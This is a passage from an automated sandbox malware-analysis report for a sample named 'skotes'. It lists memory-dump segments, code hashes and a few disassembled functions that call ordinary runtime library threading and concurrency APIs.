Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: 805f29d0c1e51e099bafe53224183ab579bf4613c445d941a4f855c6c9b51fb3
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: 58518A35E046099FDF29CF68C4C0AEEBBF5EF16354F14449AE860A7351D732AA05CB90

Function 00C32EC0 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00C32F5F
GetCurrentThreadId.KERNEL32 ref: 00C32F7E
__Mtx_unlock.LIBCPMT ref: 00C32FCC
__Cnd_broadcast.LIBCPMT ref: 00C32FE3

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: 18cc59c997f04dfa31d9c45807b6570c370b0ed4e35f9c74463f20c4baf08c88
Instruction ID: f50bd035ff90ae98e2df9c1e56b1375acf0879db35263c6e59d876f4e7e4ec0b
Opcode Fuzzy Hash: 18cc59c997f04dfa31d9c45807b6570c370b0ed4e35f9c74463f20c4baf08c88
Instruction Fuzzy Hash: FE41E3B0A11215AFDB24DFA4C98479AB7F8FF18324F004539E826D7751EB75EA04DB81

Function 00C5DB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00C5DB64

Part of subcall function 00C58F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00C58F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00C5DBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 00C5DBE9
Concurrency::location::_Assign.LIBCMT ref: 00C5DC56

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: c4d23e7955c77f6a21438741f58006a9fef93cff2ea8611f49ca2d5f90f6d777
Instruction ID: 9990cd8fc36b38775aadcdb825f3210dc88fe95a2cc34d2a14f9e8e20608cfd9
Opcode Fuzzy Hash: c4d23e7955c77f6a21438741f58006a9fef93cff2ea8611f49ca2d5f90f6d777
Instruction Fuzzy Hash: 1241F778600314ABCF29EB28C885BADBB75AF44711F144199E9079B3C2CB74AE89C795

Function 00C556AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 00C556F2
_InternalDeleteHelper.LIBCONCRT ref: 00C55726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 00C5578B
SafeRWList.LIBCONCRT ref: 00C5579A

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: b0984e01106fc6a53e42f0376a2524973d66c0151d72ca546024a9bc14fb7819
Instruction ID: 6f8f5dfae28e102b9f0bf65af07695220d3b6f23b07075933dd43035a890e867
Opcode Fuzzy Hash: b0984e01106fc6a53e42f0376a2524973d66c0151d72ca546024a9bc14fb7819
Instruction Fuzzy Hash: D931263A700610DFCF059F20CC81BAD73A6AF88751F154278ED069B395DF70AD898794

Function 00C52CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00C52D0F

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

